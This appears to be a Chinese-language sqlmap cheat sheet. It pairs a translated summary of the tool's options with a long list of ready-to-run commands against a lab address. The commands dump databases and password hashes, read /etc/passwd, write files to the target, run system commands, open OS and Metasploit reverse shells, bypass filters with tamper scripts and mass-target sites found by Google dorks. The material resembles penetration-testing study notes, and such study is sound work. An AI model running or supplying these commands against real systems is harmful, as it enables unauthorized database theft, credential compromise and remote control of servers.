SqlMap语法

sqlmap

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.11#stable}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

Usage: python3 sqlmap [options]

用法:

python3 sqlmap [选项]

选项:

-h, --help            # 显示基本帮助信息并退出
-hh                   # 显示高级帮助信息并退出
--version             # 显示程序的版本号并退出
-v VERBOSE            # 详细程度级别:0-6(默认1)

目标:
至少需要提供以下选项之一来定义目标

-u URL, --url=URL   # 目标URL(例如 "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK       # 处理谷歌搜索结果作为目标URL

请求:
这些选项可用于指定如何连接到目标URL

--data=DATA         # 通过POST发送的数据字符串(例如 "id=1")
--cookie=COOKIE     # HTTP Cookie头值(例如 "PHPSESSID=a8d127e..")
--random-agent      # 使用随机选择的HTTP用户代理头值
--proxy=PROXY       # 使用代理连接到目标URL
--tor               # 使用Tor匿名网络
--check-tor         # 检查Tor是否正确使用

注入:
这些选项可用于指定要测试的参数,提供自定义注入有效载荷和可选篡改脚本

-p TESTPARAMETER    # 可测试的参数
--dbms=DBMS         # 强制后端数据库管理系统为提供的值

探测:
这些选项可用于自定义探测阶段

--level=LEVEL       # 执行的测试级别(1-5,默认1),等级越高检测越全面
--risk=RISK         # 执行的测试风险(1-3,默认1),风险越高可能的攻击尝试越危险

技术:
这些选项可用于调整特定SQL注入技术的测试

--technique=TECH..  # 使用的SQL注入技术(默认"BEUSTQ")

枚举:
这些选项可用于枚举后端数据库管理系统信息、结构以及表中包含的数据

-a, --all           # 检索所有信息
-b, --banner        # 检索数据库管理系统横幅
--current-user      # 检索数据库管理系统当前用户
--current-db        # 检索数据库管理系统当前数据库
--passwords         # 枚举数据库管理系统用户密码哈希
--dbs               # 枚举数据库管理系统数据库
--tables            # 枚举数据库管理系统数据库表
--columns           # 枚举数据库管理系统数据库表列
--schema            # 枚举数据库管理系统架构
--dump              # 转储数据库管理系统数据库表条目
--dump-all          # 转储所有数据库管理系统数据库表条目
-D DB               # 要枚举的数据库管理系统数据库
-T TBL              # 要枚举的数据库管理系统数据库表
-C COL              # 要枚举的数据库管理系统数据库表列

操作系统访问:
这些选项可用于访问后端数据库管理系统底层操作系统

--os-shell          # 提示交互式操作系统外壳
--os-pwn            # 提示OOB外壳,Meterpreter或VNC

通用:
这些选项可用于设置一些通用工作参数

--batch             # 从不请求用户输入,使用默认行为
--flush-session     # 清除当前目标的会话文件

杂项:
这些选项不适合任何其他类别

--wizard         sqlmap记/Hacker/SQL/SqlMap语法|SqlMap语法]]

sqlmap常用命令


# 基础命令
```bash
# 基础步骤
sqlmap.py -u "http://192.168.56.3/news?id=1" --current-user #获取当前用户名称
sqlmap.py -u "http://192.168.56.3/news?id=1" --current-db #获取当前数据库名称
sqlmap.py -u "http://192.168.56.3/news?id=1" --tables -D "db_name" #列表名
sqlmap.py -u "http://192.168.56.3/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap.py -u "http://192.168.56.3/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
# 信息获取
sqlmap.py -u "http://192.168.56.3/news?id=1" --smart --level 3 --users # smart 智能 level 执行测试等级
sqlmap.py -u "http://92.168.109.139/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型
sqlmap.py -u "http://192.168.56.3/news?id=1" --users #列数据库用户
sqlmap.py -u "http://192.168.56.3/news?id=1" --dbs#列数据库
sqlmap.py -u "http://192.168.56.3/news?id=1" --passwords #数据库用户密码
sqlmap.py -u "http://192.168.56.3/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码
sqlmap.py -u "http://192.168.56.3/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出 20 条
sqlmap.py -u "http://192.168.56.3/news?id=1" --dump-all -v 0 #列出所有数据库所有表
sqlmap.py -u "http://192.168.56.3/news?id=1" --privileges #查看权限
sqlmap.py -u "http://192.168.56.3/news?id=1" --privileges -U root #查看指定用户权限
sqlmap.py -u "http://192.168.56.3/news?id=1" --is-dba -v 1 #是否是数据库管理员
sqlmap.py -u "http://192.168.56.3/news?id=1" --roles #枚举数据库用户角色
sqlmap.py -u "http://192.168.56.3/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap.py -u "http://192.168.56.3/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
sqlmap.py -u "http://192.168.56.3/news?id=1" --union-cols #union 查询表记录
sqlmap.py -u "http:/192.168.56.3/news?id=1" --cookie "COOKIE_VALUE" #cookie 注入
sqlmap.py -u "http://192.168.56.3/news?id=1" -b #获取 banner 信息
sqlmap.py -u "http://192.168.56.3/news?id=1" --data "id=3" #post 注入
sqlmap.py -u "http://192.168.56.3/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap.py -u "http://192.168.56.3/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入
sqlmap.py -u "http://192.168.56.3/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词
sqlmap.py -u "http://192.168.56.3/news?id=1" --sql-shell #执行指定 sql 命令
sqlmap.py -u "http://192.168.56.3/news?id=1" --file /etc/passwd  #必须为dbs权限
sqlmap.py -u "http://192.168.56.3/news?id=1" --file-write 本地文件路径 file-dest 目标路径  #必须为dbs权限(可将本地的某个文件写入到目标路径下)
sqlmap.py -u "http://192.168.56.3/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap.py -u "http://192.168.56.3/news?id=1" --os-shell #系统交互 shell
sqlmap.py -u "http://192.168.56.3/news?id=1" --os-pwn #反弹 shell
sqlmap.py -u "http://192.168.56.3/news?id=1" --reg-read #读取 win 系统注册表
sqlmap.py -u "http://192.168.56.3/news?id=1" --dbs-o "sqlmap.log" #保存进度
sqlmap.py -u "http://192.168.56.3/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度
sqlmap.py -u "http://192.168.56.3/news?id=1" --msf-path=/opt/metasploit3/msf2 --os-pwn 反弹 shell 需 metasploit 路径
sqlmap.py -u "http://192.168.56.3/news?id=1" --tamper "base64encode.py" 加载脚本(可利用绕过注入限制)
sqlmap.py -u "http://192.168.56.3/news?id=1" --batch --tamper "base64encode.py" 加载脚本(可利用绕过注入限制)
sqlmap -g "google 语法" --dump-all --batch #google 搜索注入点自动 跑出所有字段
sqlmap.py -u "http://192.168.56.3/news?id=1" --forms  #post提交方式注入
sqlmap.py -r 本地数据包路径 #post提交方式注入

sqlmap.py -u "http://192.168.56.3/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password